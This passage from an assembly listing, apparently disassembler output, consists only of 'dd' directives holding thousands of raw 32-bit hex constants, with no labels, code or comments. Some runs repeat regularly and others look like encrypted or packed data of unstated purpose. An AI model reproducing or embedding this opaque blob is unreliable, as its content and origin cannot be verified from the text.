		dd 0ED092645h, 86E46E3Eh, 9258B92Ah, 39301777h,	0BD20AEBCh
		dd 64BC547Ah, 9CC3E864h, 5B0913F7h, 0FB0B2060h,	0D0FA3FA7h
		dd 0DEE011D0h, 9340D24h, 0BC6A2CACh, 752131D9h,	0A5044470h
		dd 185A2B6Ah, 0C29C5209h, 534F4B31h, 0D841C741h, 445A3459h
		dd 99DC8F5h, 0E932AA79h, 304219A7h, 1A110C2Ah, 294A0967h
		dd 24D3274h, 0B511FB8h,	0C94ED022h, 5AF0B8E1h, 0B6752952h
		dd 9A23083Dh, 0E78E349Ah, 7A962DDEh, 0A7A9896h,	1DA3561Ah
		dd 0D9337289h, 0D1AEAFEAh, 0B57EE695h, 75E48846h, 197113CDh
		dd 0A926342Bh, 0E508690Ch, 0AF08A44Ah, 9CBC249Eh, 0B7369C2h
		dd 0C88A4CCh, 4AA36263h, 5A269243h, 1109BBE5h, 0A472C008h
		dd 0A44E950Bh, 88E198Ch, 0C8C9F9Ah, 9A3C96BDh, 0F032B5E0h
		dd 9DAB2012h, 5EB8746Fh, 7C505C65h, 92269014h, 49A6A0B9h
		dd 10D9435Ah, 49091409h, 925C5D3h, 1434B034h, 9167384h
		dd 74D014A2h, 3268DDE5h, 0D61CD040h, 0C43EDF2h,	17647514h
		dd 25E06492h, 9124A916h, 0D0E34A0Dh, 679E1CD6h,	83D2844Ch
		dd 0A94D7FF3h, 6568CB5Eh, 40A86C12h, 225024A4h,	0CA9577Dh
		dd 7BD24052h, 0A5A9A0F8h, 0A5A1F320h, 1CBDE44Eh, 0D150E0A4h
		dd 0E2971911h, 5518D830h, 30505744h, 1432995Fh,	0B069AEAFh
		dd 6411F0B4h, 1C141525h, 8876BFB4h, 0C545521h, 646B4F1Dh
		dd 6E502918h, 399B5029h, 109C1853h, 1C24A42Ch, 290D2C2Dh
		dd 436A250Eh, 44E0544Ch, 5953E1E3h, 8366E21h, 84C59545h
		dd 0E0A6116Eh, 8D4496B7h, 1C9B2DCCh, 5E6A1859h,	29A3A829h
		dd 66689E74h, 0C8E77308h, 6BB07372h, 3DD73C94h,	59684CDEh
		dd 4D1C480Ch, 7C101910h, 0E428ADDCh, 747E34D7h,	62713318h
		dd 92142DF5h, 70B57521h, 12330819h, 2BDC144Ch, 25CA210Eh
		dd 2DF2EC08h, 720D9DD3h, 1B2B097Ah, 13850F1Eh, 457BA661h
		dd 0E9F00DECh, 1E4BA875h, 0A9483369h, 9B4EDB82h, 0FD841E36h
		dd 0F8242D91h, 8285149h, 279E1B29h, 1CA06FC5h, 5BBCB599h
		dd 94789DE6h, 25143E19h, 0D0430464h, 9F632540h,	62AF88CDh
		dd 0EBB0D66Ch, 0CD3F2756h, 68FA60C0h, 6869726Fh, 1346217Ah
		dd 0F47CFC3Ah, 746D3439h, 93AAFDD3h, 310E4E89h,	0F8D23042h
		dd 80AFA9E1h, 9CA398BDh, 0A76D3E6Ch, 48430259h,	28B65441h
		dd 55C10E95h, 7EE64A84h, 1D74C94Bh, 0B3D09D2h, 3FBBA4D4h
		dd 3C8FD3D3h, 0D6500113h, 2BF1143Ah, 460DD851h,	456CF20h
		dd 11BB5352h, 2B9C23FCh, 19653F11h, 95CC2B23h, 52AFF402h
		dd 0E19C531Ch, 0F90C044Bh, 33084058h, 74A632E2h, 0B578149Fh
		dd 25C9A8EDh, 6FAF2E63h, 1C694220h, 0C4A53533h,	384E9FB4h
		dd 6E3A0881h, 533E69D9h
		dd 0A410F2A4h, 0B474DE11h, 4BC1737Dh, 9D6E3859h, 3419948Ch
		dd 405170BDh, 0A3C76F70h, 10358E3Eh, 0B4BCE893h, 4FB863FAh
		dd 0DB247FAh, 218363BBh, 12200921h, 3814243Ah, 61256384h
		dd 44F54170h, 0ED742A3Dh, 2FFF7361h, 0C9C97012h, 9A6C3C41h
		dd 359B7538h, 65EB12B6h, 4D8D7F9Eh, 763C36BFh, 0BA4544C5h
		dd 60026F65h, 71444C51h, 1B10C887h, 48E25C46h, 6C77EBD8h
		dd 479410A4h, 11233D2Ch, 0FE452132h, 97082FBFh,	8474EE30h
		dd 766E4507h, 72EAEF41h, 65916850h, 0F537743h, 9A626447h
		dd 4853C272h, 4EF79955h, 661A373Ch, 5CC42179h, 83D85282h
		dd 6CB1B984h, 57922DA1h, 0BF0127F1h, 24A1636Eh,	20DDA24Dh
		dd 18855732h, 776741E4h, 7A2D1A64h, 52341415h, 604509FCh
		dd 49B8CC6Ah, 0C147A0FDh, 0E0CD7BF3h, 11495154h, 6EB77454h
		dd 68530F12h, 0EF75FE1Ch, 448B3022h, 0B4462F05h, 0E6B55277h
		dd 54E782D8h, 293EA290h, 0FB20415Fh, 5CB314Ah, 0BE641449h
		dd 4BAF557h, 0A5A4F56Ch, 0B967321h, 2AD27542h, 18A6534Ah
		dd 5D123169h, 10332732h, 6D75DC15h, 47C3910Ch, 15E74518h
		dd 0A77A30Ch, 44444F54h, 84F04166h, 86D9A458h, 96535458h
		dd 269B9464h, 6F621A11h, 3FE141Ah, 10855DA2h, 0C74C3B4h
		dd 96E32A17h, 492528D0h, 0B084F858h, 6FA24565h,	0CF01064h
		dd 4D429973h, 1A892721h, 551F6946h, 3C302892h, 7A6F6F4Dh
		dd 2F616228h, 4B05D734h, 8125FE28h, 2A76A115h, 0ECBD4829h
		dd 0A14C8750h, 426AA714h, 28164E12h, 3D553CEBh,	416C1455h
		dd 0F04FB214h, 87138660h, 0C924A114h, 2427193Ah, 0CCF4EF48h
		dd 0F4F8C0DAh, 90147352h, 91144334h, 3F478A3Ch,	6A274CEAh
		dd 783D85DEh, 0A35F1C6Ah, 37D07278h, 0D863CAFFh, 5E956B49h
		dd 0C4B85A20h, 56695D5Ch, 7962E25Ch, 66B43EDCh,	1E141029h
		dd 2C641074h, 790C4211h, 0EF70FE8Ch, 43CCD7Fh, 0D254B808h
		dd 0F4AEA4D7h, 0CC344B88h, 4A7E94E3h, 0C6E5176h, 0C48CAD92h
		dd 0BF106F74h, 0E1F19875h, 8B730848h, 6CD11EECh, 0C14210D0h
		dd 0A29C5F2Bh, 0F853DF0Ch, 0ED94BC70h, 55850728h, 34D8746Ch
		dd 5384C007h, 83BE4341h, 70155A24h, 4C1B540Ch, 0BA9A45FBh
		dd 100A3324h, 84213349h, 1D705F1Ch, 76494446h, 48C6BF73h
		dd 7ED1DDFh, 0C0FA638Ch, 0AEEE21EDh, 920CF453h,	5401C294h
		dd 5F327377h, 60939232h, 6A624FD4h, 10A17CBBh, 3C214B3Bh
		dd 9FEB6942h, 50092DEDh, 455D240Ah, 14424912h, 722C93AFh
		dd 142F52F7h, 5CCBB932h, 5DF84240h, 0A52D924Dh,	3614A4A3h
		dd 6597A277h, 0BB142158h, 678529CCh, 2C298E64h,	4EC4A447h
		dd 4499AC94h, 563A56F5h, 12B7B309h, 0BF9D7974h,	3264897Eh
		dd 0E3BD4A84h, 6936A3D6h, 1A089A66h, 8C8CEE15h,	0D21586DCh
		dd 0E629AFF9h, 214D110Dh, 75040E0Dh, 0F0BC889h,	431A1042h
		dd 7AC99C4Dh, 0E025A672h, 0C0D66A1Ah, 0D66B6FFAh, 4D25E92Eh
		dd 0FC306862h, 68A57E4Bh, 0BFB9E813h, 0D95A5057h, 32351570h
		dd 60B6C00h, 621A76A2h,	41676C74h, 0F162492h, 0F4148E95h
		dd 20ECD6CBh, 0C3190C41h, 2198520Dh, 79721051h,	4C630FAAh
		dd 49302242h, 9A12420Eh, 6863B381h, 0A0342283h,	970E8663h
		dd 0A0B300E4h, 468C786Ah, 0E767626Fh, 0B326942Bh, 8144105h
		dd 0C1B7540Ah, 24564172h, 34A69B81h, 1D748D19h,	0B403B211h
		dd 73319969h, 4CC2E265h, 6B949F8Ch, 0E39408Ah, 66146A44h
		dd 232DA45Ch, 4973AC52h, 825D799Ch, 0B470022h, 29D0845Bh
		dd 898D059Bh, 940D2980h, 11D4D300h, 9552CE28h, 0C4AE006Ch
		dd 30D47BAEh, 8B4DF35h,	6D2706E8h, 0E9461727h, 0D825B5D9h
		dd 4B1C85E7h, 0A2B17950h, 3CCC4E38h, 0A6AEA350h, 0E1459CCEh
		dd 56707954h, 0A9972175h, 0D085705h, 0BD08A817h, 24735925h
		dd 6B810D28h, 8A28AFBFh, 4D6291C4h, 82475A6Fh, 58C409A2h
		dd 8096B773h, 0CA4E22CEh, 1A7A1078h, 76BDB221h,	826C131Bh
		dd 530270E9h, 0DF60CB6Eh, 88F374F5h, 4D891559h,	6BC4BC54h
		dd 916C4AA4h, 2CFCCBCCh, 3820BEEEh, 0E1DE4C44h,	0A46C2FC1h
		dd 72DC9E41h, 0D19DBA5Dh, 4F7932CAh, 1A858478h,	70F253C4h
		dd 5E433D1h, 2F7270DCh,	9C49271Ah, 27358F14h, 5E1A0008h
		dd 38394E4Eh, 504B341Eh, 57B81824h, 155A3096h, 5057979Ch
		dd 47B84EF4h, 8F654EF3h, 80764A41h, 8799B2D6h, 8F4B64E9h
		dd 9E344780h, 0C948E56Dh, 0DCBEF3F4h, 0ECD54F29h, 5D4867F3h
		dd 0B1EE692Fh, 0DE304AE1h, 4FFA59AFh, 0DD63D716h, 5F2D6E4Eh
		dd 7CCD60ADh, 922AAFEDh, 249579DBh, 0A501F127h,	0F4711A89h
		dd 4AAD3223h, 881655D8h, 874E19D2h, 0B001146Ch,	9640AAACh
		dd 86ABA0C4h, 8DB4BC10h, 2528AB19h, 2E2F355Bh, 0A9CFCE2h
		dd 0E28AB77h, 0C811706Dh, 14C49503h, 43BA752Dh,	35D8C45Dh
		dd 8428AC62h, 5602826h,	29D709CDh, 0C7A9EA14h, 90618DCh
		dd 28C3AEEDh, 834315F0h, 0DC0922E4h, 89C8D444h,	24B812C0h
		dd 91A848B0h, 449822A0h, 80898890h, 68247412h, 54915C48h
		dd 40444822h, 12308938h, 48202428h, 700C9114h, 4F6F889h
		dd 91E848F0h, 44D822E0h, 0B889C0CCh, 0A824B012h, 90919C48h
		dd 7C448822h, 126C8974h, 485C2464h, 22489150h, 30384440h
		dd 1C122889h, 822F12Fh,	13F811E1h, 0E409E1B2h, 0D048DC24h
		dd 0BC22C491h, 89A4B044h, 2490129Ch, 917C4888h,	44682270h
		dd 4489505Ch, 30243812h, 20912848h, 10441822h, 46848B08h
		dd 0E9D112F8h, 0D8440916h, 12C089D0h, 48A824B4h, 229891A0h
		dd 70804488h, 58126489h, 3C484C24h, 2C223491h, 89182044h
		dd 240C1210h, 11FC4604h, 916E9C1h, 89D0DC44h, 24C012C8h
		dd 91B048B8h, 449822A4h, 80898890h, 6C247812h, 5C916448h
		dd 48445422h, 1234893Ch, 48202428h, 220C9114h, 10FC2004h
		dd 89ECF444h, 24DC12E4h, 91C848D0h, 44B422C0h, 9C89A4ACh
		dd 88249412h, 78918048h, 68447022h, 12588960h, 12443950h
		dd 4834243Ch, 2224912Ch, 0C14441Ch, 0FC110489h,	45F9BA0Fh
		dd 7C912FE2h, 225FE48Bh, 91B809C8h, 44A822B0h, 888994A0h
		dd 78248012h, 60916C48h, 48445422h, 12348940h, 481C2424h
		dd 700C9114h, 810EF888h, 24E412F0h, 91D448DCh, 44C022CCh
		dd 0A089ACB4h, 90249812h, 80918848h, 6C447822h,	12588960h
		dd 4844244Ch, 22309138h, 0C184424h, 0F446848Bh,	17E9D10Dh
		dd 0D009B288h, 0BC48C824h, 0AC22B491h, 899CA444h, 248C1294h
		dd 917C4884h, 446C2274h, 54895C64h, 4089481Ch, 2C243412h
		dd 1C912448h, 8451022h,	0CF422C2h, 0E448EC04h, 0D422DC91h
		dd 89C8D044h, 24B812C0h, 91A848B0h, 4494229Ch, 7C89848Ch
		dd 68247412h, 58916448h, 48445022h, 12348940h, 481C2428h
		dd 70089110h, 810BF488h, 24D812E8h, 91C448D0h, 44B022BCh
		dd 9889A0A8h, 84249012h, 74917C48h, 60446C22h, 124C8958h
		dd 48342440h, 2224912Ch, 0C14441Ch, 0FC110489h,	9D9B20Ah
		dd 48E424ECh, 22D091DCh, 0B8C044C8h, 0A412B089h, 94489C24h
		dd 84228C91h, 89747C44h, 2460126Ch, 91484854h, 4434223Ch
		dd 1C89242Ch, 0C241412h, 0FC880448h, 22F01109h,	0D4E044E8h
		dd 0C412CC89h, 0B448BC24h, 9C22A491h, 898C9444h, 247C1284h
		dd 91684874h, 44582260h, 38894450h, 24242C12h, 14911C48h
		dd 11E10C22h, 0EC0208F4h
		dd 0D848E424h, 0C822D091h, 89B4C044h, 24A412ACh, 9194489Ch
		dd 44782288h, 58896070h, 44244C12h, 30913848h, 1C442822h
		dd 5CFC8B14h, 7F82022h,	89E4F044h, 24CC12D8h, 91BC48C4h
		dd 44A822B0h, 8C8998A0h, 7C248412h, 6C917448h, 5C446422h
		dd 124C8954h, 48382440h, 22289130h, 8144420h, 0F444848Bh
		dd 91EC0806h, 44DC22E4h, 0B889C4D0h, 0A024AC12h, 90919848h
		dd 7C448422h, 12748978h, 4864246Ch, 22509158h, 343C4448h
		dd 1C122489h, 8481024h,	6EF844B8h, 6491D905h, 0D048D809h
		dd 0B822C491h, 89A4B044h, 2494129Ch, 9180488Ch,	446C2274h
		dd 50895C64h, 3C244812h, 28913448h, 14441C22h, 1304890Ch
		dd 0F008ACFCh, 0E022E891h, 89CCD444h, 24BC12C4h, 91A848B4h
		dd 449822A0h, 80898890h, 70247812h, 60916848h, 50445822h
		dd 12408948h, 4834243Ch, 221C9128h, 0FC084410h,	91E9036Eh
		dd 48DC0964h, 22C491D0h, 0ACB444BCh, 9812A089h,	84488C24h
		dd 74227C91h, 89646C44h, 2454125Ch, 9140484Ch, 442C2234h
		dd 18892028h, 4241012h,	0E102FC46h, 91E409C8h, 44D422DCh
		dd 0B889C0C8h, 0A824B012h, 94919C48h, 7C448822h, 12688974h
		dd 48582460h, 22449150h, 28304438h, 1C122489h, 0C481424h
		dd 0FC100491h, 44F42201h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h
		dd 0AC44B422h, 129489A4h, 4880248Ch, 226C9174h,	4C544460h
		dd 38124089h, 28483024h, 18222091h, 89040C44h, 0F004C2F8h
		dd 0DC91E848h, 0CC44D422h, 12BC89C4h, 48AC24B4h, 229C91A4h
		dd 848C4494h, 74127889h, 64486C24h, 50225C91h, 89404844h
		dd 242C1234h, 911C4824h, 440C2214h, 0FF36F804h,	4409F042h
		dd 0D489DCE8h, 0C424CC12h, 0B491BC48h, 0A044AC22h, 1294899Ch
		dd 4884248Ch, 2274917Ch, 5460446Ch, 44124C89h, 30483824h
		dd 20222891h, 8B081444h, 0FEF84484h, 0E491EC08h, 0D444DC22h
		dd 12C489CCh, 48B424BCh, 22A491ACh, 8C904498h, 74128089h
		dd 5C486824h, 44225091h, 89343C44h, 2424122Ch, 910C481Ch
		dd 0FDF81004h, 0E844F022h, 12D889E0h, 48C024CCh, 22AC91B8h
		dd 8C9844A4h, 78128489h, 64486C24h, 50225891h, 893C4844h
		dd 24281230h, 911C4820h, 0E1082214h, 2FCF411h, 48E024ECh
		dd 22CC91D4h, 0ACB844C0h, 9812A489h, 88489024h,	78228091h
		dd 89647044h, 24501258h, 913C4844h, 44282230h, 0C891820h
		dd 0F8220412h, 48F004FBh, 22E091E8h, 0C4D044D8h, 0AC12B889h
		dd 9C48A424h, 88229091h, 89748044h, 2460126Ch, 914C4854h
		dd 44382244h, 1C892430h, 8241412h, 0F837225Ch, 0BC48D9FAh
		dd 912FF245h, 9228B7Ch,	0A8B044BCh, 9812A089h, 88489024h
		dd 78228091h, 89687044h, 245C1260h, 914C4858h, 44342240h
		dd 18892028h, 8241012h,	0FC880448h, 22F411F9h, 0D8E444ECh
		dd 0C412CC89h, 0B448BC24h, 0A422AC91h, 89949C44h, 247C1288h
		dd 916C4874h, 44542264h, 3889404Ch, 24243012h, 0C911848h
		dd 0F8F48870h, 0E012E881h, 0C848D424h, 0B422BC91h, 89A0A844h
		dd 248C1298h, 917C4884h, 44642270h, 4C89545Ch, 3C244412h
		dd 2C913448h, 18442422h, 17048910h, 0F008F7F4h,	0E022E891h
		dd 89D0D844h, 24C012C8h, 91B448B8h, 449C22A8h, 84898C94h
		dd 74247C12h, 64916C48h, 54445C22h, 1244894Ch, 48302438h
		dd 22149124h, 0FC04440Ch, 89F4F640h, 24E412ECh,	91D448DCh
		dd 44C022C8h, 0A889B0B8h, 9024A012h, 78918448h,	68447022h
		dd 12588960h, 48482450h, 2234913Ch, 1C24442Ch, 8121489h
		dd 0F810112Eh, 44F022F5h, 0DC89E4E8h, 0D024D812h, 0B891C448h
		dd 0AC44B022h, 129889A0h, 48882490h, 22789180h,	58604468h
		dd 48125089h, 38484024h, 20223091h, 89101844h, 0F4FC1104h
		dd 0E8913807h, 0D444DC22h, 12BC89C8h, 48A424B4h, 2294919Ch
		dd 74804488h, 64126C89h, 54485C24h, 44224C91h, 89383C44h
		dd 24241230h, 9114481Ch, 2004220Ch, 0F044F3F8h,	12E089E8h
		dd 48CC24D4h, 22B891C4h, 98A044ACh, 88129089h, 78488024h
		dd 68227091h, 89546044h, 243C1248h, 912C4834h, 441C2224h
		dd 4890C14h, 2F2FC11h, 48E824F4h, 22D891E0h, 0B8C444D0h
		dd 0A812B089h, 9848A024h, 84228C91h, 89707C44h,	24601268h
		dd 91504858h, 44342240h, 1889202Ch, 8241012h, 8F1F844h
		dd 22E491F0h, 0C8D444DCh, 0AC12BC89h, 9448A024h, 80228C91h
		dd 89687444h, 24581260h, 91484850h, 44382240h, 1889202Ch
		dd 0C241412h, 0F420225Ch, 0E4EC44F0h, 0D412E089h, 0C448CC24h
		dd 0B022B891h, 89A0A844h, 248C1294h, 917C4884h,	44682274h
		dd 48895060h, 34243C12h, 24912C48h, 14441C22h, 46848B0Ch
		dd 0E9E1EFF4h, 0DC440916h, 12CC89D4h, 48BC24C4h, 22AC91B4h
		dd 909844A0h, 7C128489h, 6C487424h, 58226491h, 89444C44h
		dd 2434123Ch, 9124482Ch, 4514221Ch, 0F423C208h,	8BE974EEh
		dd 44D40922h, 0BC89C4CCh, 0AC24B412h, 9891A048h, 84448C22h
		dd 12708978h, 48542464h, 223C9148h, 202C4434h, 8121489h
		dd 4EDFC22h, 91E448F0h,	44D422DCh, 0B889C4CCh, 0A824B012h
		dd 9891A048h, 88449022h, 1274897Ch, 4860246Ch, 22509158h
		dd 38404448h, 28123089h, 10481C24h, 0FC100491h,	0EFF422ECh
		dd 0DC24E412h, 0CC91D048h, 0BC44C422h, 12A489ACh, 4894249Ch
		dd 2284918Ch, 6C74447Ch, 5C126489h, 4C485424h, 3C224891h
		dd 89303844h, 241C1228h, 910C4814h, 0EBFC1B04h,	959A4F9h
		dd 795A10E0h, 9782B574h, 182D696Bh, 19BABCE7h, 6F751162h
		dd 1093A4CDh, 0BCD3B163h, 6C0D7536h, 216B6164h,	0A8623C9Fh
		dd 9567F010h, 216FF6C3h, 0D4772B0Ch, 7E18CD0Ch,	828111Fh
		dd 529F6379h, 755934EBh, 1602EE18h, 0FE532D6Bh,	0F7186D34h
		dd 0D1660938h, 855FF20Dh, 8537651h, 6E090AEBh, 4743608h
		dd 62106166h, 7BDFE374h, 0C9745B21h, 0ED10BF38h, 119D869Ah
		dd 0CD46686Eh, 14146D10h, 9E975B08h, 50B65683h,	10997945h
		dd 9975E872h, 64C85764h, 0A2502DD8h, 30B275D0h,	62081028h
		dd 791B6E65h, 87485559h, 681092A2h, 8540BA6Ch, 16746769h
		dd 0BEA1E108h, 0DD116F30h, 28CC6CD5h, 0A086DC57h, 4E1211DBh
		dd 56C9C826h, 0CFBB19DEh, 31A8FE8Dh, 236E5539h,	8090C0Dh
		dd 0A83584C3h, 86D281Ah, 5C72F8CAh, 6DB36714h, 0C2FB1174h
		dd 1020AD73h, 9B0D72E9h, 0C4587341h, 14FD560Dh,	0A2085ED7h
		dd 0EF68573Ch, 4E6B6DE8h, 7EA10C0Dh, 21651C08h,	5386DFBFh
		dd 0D32DAB11h, 0FC107579h, 5284837Ah, 6C6D8DACh, 676C9B88h
		dd 0E0EAE7AAh, 0ACC6D66Dh, 6D671034h, 2115072h,	10A868CFh
		dd 366929CCh, 6EEFB440h, 147AF20Ah, 48FE699Eh, 0C90CD01Eh
		dd 72C50262h, 6E0CA464h, 1809658Dh, 27DA92A7h, 0D00C56EDh
		dd 0F950ECB7h, 897C40BEh, 0BC4E4D56h, 9F5C4C20h, 0E5221CA9h
		dd 1CCA66F4h, 96352079h, 0E2E9D016h, 5468AB76h,	0AA62A021h
		dd 80C29B2h, 769AA487h,	38085710h, 5784D20h, 102C36EBh
		dd 0A42859F3h, 56662419h, 636E1F11h, 3E48A969h,	38AB1D55h
		dd 84203424h, 551902C0h, 6C46757Ah, 645373F0h, 87F978D9h
		dd 422D6711h, 60229E7Ah, 186220CAh, 91427046h, 0C97D3C3Bh
		dd 5B886DDFh, 3120B534h, 347A540Eh, 0E6BF727Dh,	6132F9D1h
		dd 7509136Fh, 4FC690Dh
		dd 6BC90808h, 0C13611B5h, 5056FD10h, 67641010h,	0B1F3D365h
		dd 32736C78h, 76526F46h, 4CF15B0Ch, 0C52DCBBh, 128DB069h
		dd 88DFE216h, 48B2600Fh, 10481B79h, 9110DA90h, 91F26C70h
		dd 0C42A6514h, 29085A07h, 68BE080Eh, 0F980ACF5h, 8526EBEh
		dd 51977728h, 74430872h, 85BCD6Bh, 0F091D65Ch, 6C753E70h
		dd 0F81AD16Fh, 0E8BD2013h, 116434D7h, 8A10E476h, 0F40812D7h
		dd 70758A6Fh, 4A66120Ch, 0C9A86976h, 0DA3FA40Eh, 0F46E816Eh
		dd 0E1B510D6h, 6885AB07h, 2C68A91Ch, 50A2A5F1h,	0A411D708h
		dd 8A26467h, 19E4598Dh,	0C4F2449Ch, 157C1285h, 0BC6BDB05h
		dd 24740A55h, 6CD968C4h, 22966AE3h, 0AB723EC8h,	5719BD0Ch
		dd 0A8596D11h, 0B22910A9h, 0C37D6110h, 0AD114FD3h, 70247CC2h
		dd 6164086Eh, 109BC499h, 0C1E62876h, 15408FBDh,	2F8A5110h
		dd 927A6DC2h, 99F0FC1Ch, 716D1172h, 0BFA861C0h,	29AA4D11h
		dd 699B386Fh, 0C59EF09h, 0D0531098h, 116E2962h,	0FA74539Dh
		dd 0C56B864h, 2C9F18FDh, 0D86B40Ah, 0E6096F08h,	10D55466h
		dd 0C4762B1Eh, 86E9462Fh, 7E18DE38h, 8D166B8h, 8BB0D8A0h
		dd 11396908h, 0BC209EA8h, 9A40722Ah, 206955C5h,	6E7A7542h
		dd 1619D2DDh, 5BC57431h, 6485490Ch, 8108550Ch, 0F27C2047h
		dd 202FD070h, 0BA57E49Eh, 4A4F2D97h, 4A106E13h,	83D8BD25h
		dd 6B550CD0h, 18155025h, 722818E8h, 27666D08h, 4662A611h
		dd 97906495h, 0ED117D36h, 6F4C35DFh, 451DBCB8h,	23BF145Ch
		dd 64846D08h, 799F0CBAh, 0E7CA4D11h, 70C6A069h,	64E68110h
		dd 14100845h, 73527DE7h, 0F3C75F14h, 0C39D68F5h, 0AF631002h
		dd 280C1A68h, 0C22F08EDh, 69102256h, 32491A7Ah,	6C93EE64h
		dd 0A472182Ch, 0C78208A0h, 0F5741C0Bh, 0A6C47414h, 86ED119h
		dd 70216B3Dh, 8A02B2Eh,	9BAC7249h, 0B8C0FE10h, 6D0C89ACh
		dd 7629BC62h, 0E413A50Ch, 69B1104Fh, 41631013h,	0EB046414h
		dd 0D572ADC2h, 9BFFF19Ah, 0B03C7884h, 681B83A2h, 0B26C0D10h
		dd 34A66110h, 4C8A586Bh, 798AC2CBh, 122E088Dh, 0B8596920h
		dd 92DA10B6h, 0B011D716h, 159462CDh, 2F55186Dh,	146855E8h
		dd 61086B0Ch, 1843494Ch, 0AF0827CDh, 0E6BF213Fh, 9F1174CEh
		dd 214CDB6Bh, 45744D44h, 0E294A008h, 0EC6611D6h, 6B40C810h
		dd 53700D6Fh, 19AA8019h, 20645333h, 0BAFEFF7Ch,	0B9087F0Ch
		dd 49104808h, 0DB462DA9h, 0F550C82h, 7708F458h,	6E481CA6h
		dd 8792A59h, 0F1F96B79h, 0ED144964h, 8E405769h,	97457EFEh
		dd 73266640h, 9A784C10h, 0D5E610DBh, 90915998h,	0F44FBCA6h
		dd 9D0781Ch, 0F46126E8h, 9B6B8B4Fh, 0FF107D90h,	62F92449h
		dd 90FE1049h, 4C756340h, 109A7D64h, 0C44B8909h,	77681017h
		dd 0DE72E4B0h, 0F10C2A3Ch, 75C12457h, 5C676C79h, 0F2C6196Dh
		dd 0A04608AAh, 0E35AB008h, 2067A795h, 8442BAD4h, 0A488106Ah
		dd 3F19ED4Ch, 20DA34C7h, 0D36A6469h, 34095111h,	0C03B61CFh
		dd 0CA49F71h, 44146651h, 1E7C2644h, 3CA66FF2h, 0B29C79F6h
		dd 774E0820h, 1177781Ch, 820C2878h, 207453A5h, 849F710h
		dd 9608B6A2h, 58082284h, 890F272h, 70261843h, 9E3CD88h
		dd 8EA1E230h, 0F6522D7Ah, 0E34EBB8Dh, 0A1912178h, 9A6C10B2h
		dd 8EC0878h, 81416646h,	54266408h, 742D6149h, 52C3C05Ch
		dd 0E7467479h, 119ADB38h, 59F50970h, 641893DCh,	19A36F29h
		dd 6F093108h, 66902379h, 0A3097710h, 0C4A9509h,	106D9867h
		dd 0D56180A0h, 18440D10h, 0EDEB9E62h, 6C52EA18h, 6C1A0882h
		dd 15D445ADh, 11E3C408h, 79289108h, 6F89A908h, 0F234CD2Fh
		dd 0A8F17C6Eh, 6B5049AEh, 279A7008h, 0F1116F6Bh, 1D10B4CFh
		dd 0B220EAA1h, 666C6575h, 2336BF43h, 846D45F8h,	757164BCh
		dd 18E936FFh, 6E132B92h, 0C29542Dh, 56A93047h, 7F11B730h
		dd 11115A17h, 7044B743h, 19F76708h, 2812AE21h, 0C28B626Ah
		dd 2BF00DCEh, 6B8618B2h, 77622CA4h, 57A41A89h, 6DB5EC0Ah
		dd 6742B910h, 2849506Bh, 4FBCF394h, 0FF11D736h,	0B8926A3Ch
		dd 64F15194h, 7D942D99h, 105E1234h, 4A53DC2Ch, 8751018h
		dd 8D6C7ADAh, 766518C4h, 87410EAh, 6C6A846Fh, 702A3F08h
		dd 29AAB4BFh, 0B310B46Ch, 0C106D81h, 0D01E4416h, 841EF7Ah
		dd 0EA792C9Eh, 186B5508h, 38155965h, 342E84ABh,	8D9B8408h
		dd 7E19BD0Fh, 0BAFFC6A3h, 21094D40h, 67B87212h,	6B716110h
		dd 0A1097465h, 68341068h, 6751D425h, 34B47810h,	66F0652Ah
		dd 54AA73F2h, 3242C913h, 58622E08h, 267219CCh, 0CD657A75h
		dd 65B41919h, 459A66FBh, 1129160Ch, 88ACC92h, 1141D033h
		dd 651017B9h, 1218256Fh, 10395ADEh, 5279DC85h, 10415410h
		dd 1803C996h, 68F7614Ch, 400CD1C6h, 54DE6482h, 0F0ACF43Bh
		dd 83827498h, 1832ACF3h, 8AC15076h, 697B9B08h, 8B610C10h
		dd 2C1C496Fh, 40554889h, 664D6508h, 14642A8Ch, 0BFAA0F98h
		dd 0A7723C19h, 7D9C9B43h, 0A973F619h, 9F716D08h, 3570D1C6h
		dd 0D0711418h, 0D43756B5h, 0B70C37F3h, 586F177Ah, 724625E9h
		dd 0EF177034h, 55FCFB5Ch, 0E45AA10Ch, 0E2821034h, 0BE10A875h
		dd 72546F1Ch, 29109328h, 44589974h, 6B51E7h, 4F874828h
		dd 241B8B76h, 729F1C4h,	0E3748412h, 0B7116FC0h,	19A792CDh
		dd 0A9EE908Bh, 0F27018CEh, 5C8B6927h, 0F138220Fh, 10B4E659h
		dd 3C67BED6h, 279A08EAh, 0C58C13C4h, 21ADFC9Dh,	4F2442A8h
		dd 0AA7A7327h, 0C4CC950h, 0C56511C8h, 6918B264h, 93C10960h
		dd 297DC745h, 999B5FE6h, 0A91EAFE4h, 4E4CC6EAh,	0E9F24E11h
		dd 1788B14Fh, 3450895Eh, 665162B7h, 9018DA28h, 18342CC5h
		dd 6C550FEEh, 0C34668Eh, 0CDA7E9D4h, 0A067D1F3h, 0A2B88509h
		dd 49660889h, 751094C4h, 73529F50h, 0FB10AD36h,	190D61F9h
		dd 0E385E2A5h, 0E250A564h, 78F21A44h, 49A911D0h, 1708457Dh
		dd 89708530h, 9A886C3Eh, 2F2CCB18h, 57084D11h, 16699A9Bh
		dd 0F4460C0Bh, 0C46C10CBh, 9411D166h, 0B0116E34h, 10A26988h
		dd 10C9E84Ch, 411A9364h, 873AE010h, 5311BDBEh, 0EA4166DFh
		dd 7E19AC64h, 8C68116Ch, 6D17029Eh, 0AA199066h,	880812A8h
		dd 14219A07h, 16344FA4h, 0DBCD0814h, 1234810h, 2E68430Ah
		dd 4E60240Ch, 3E28A95Dh, 1038844Ah, 9E68DB08h, 141421CFh
		dd 98D05868h, 952F7541h, 0A150FEDCh, 0F419D3CCh, 9F666D8h
		dd 6C702752h, 204108A3h, 8CE46CFFh, 5B7A9847h, 6B3BA361h
		dd 0AD634B31h, 0C10D934h, 868CA14h, 25F4624Bh, 0CC646508h
		dd 27EE8184h, 0A4658D1Ch, 9ECF3962h, 1C72754Ah,	786055BCh
		dd 0A90C450Eh, 3234183Eh, 0D9596425h, 8456826h,	0A51010EFh
		dd 6E591443h, 0AA08A37Eh, 0D0B9CE6Bh, 0D66F9818h, 4E50119Bh
		dd 6C2A671Fh, 0A8BE1475h, 0DEA07215h, 0E5826ED6h, 0A8088979h
		dd 4F260822h, 85D68B4h,	263C98A9h, 106D126Bh, 5654CCA8h
		dd 487CC473h, 10D9CD49h, 4C3B2C67h, 410CD0FBh, 463012C0h
		dd 88AC0664h, 2899E2F9h, 24292F64h, 0DE5118AFh,	0FABE2021h
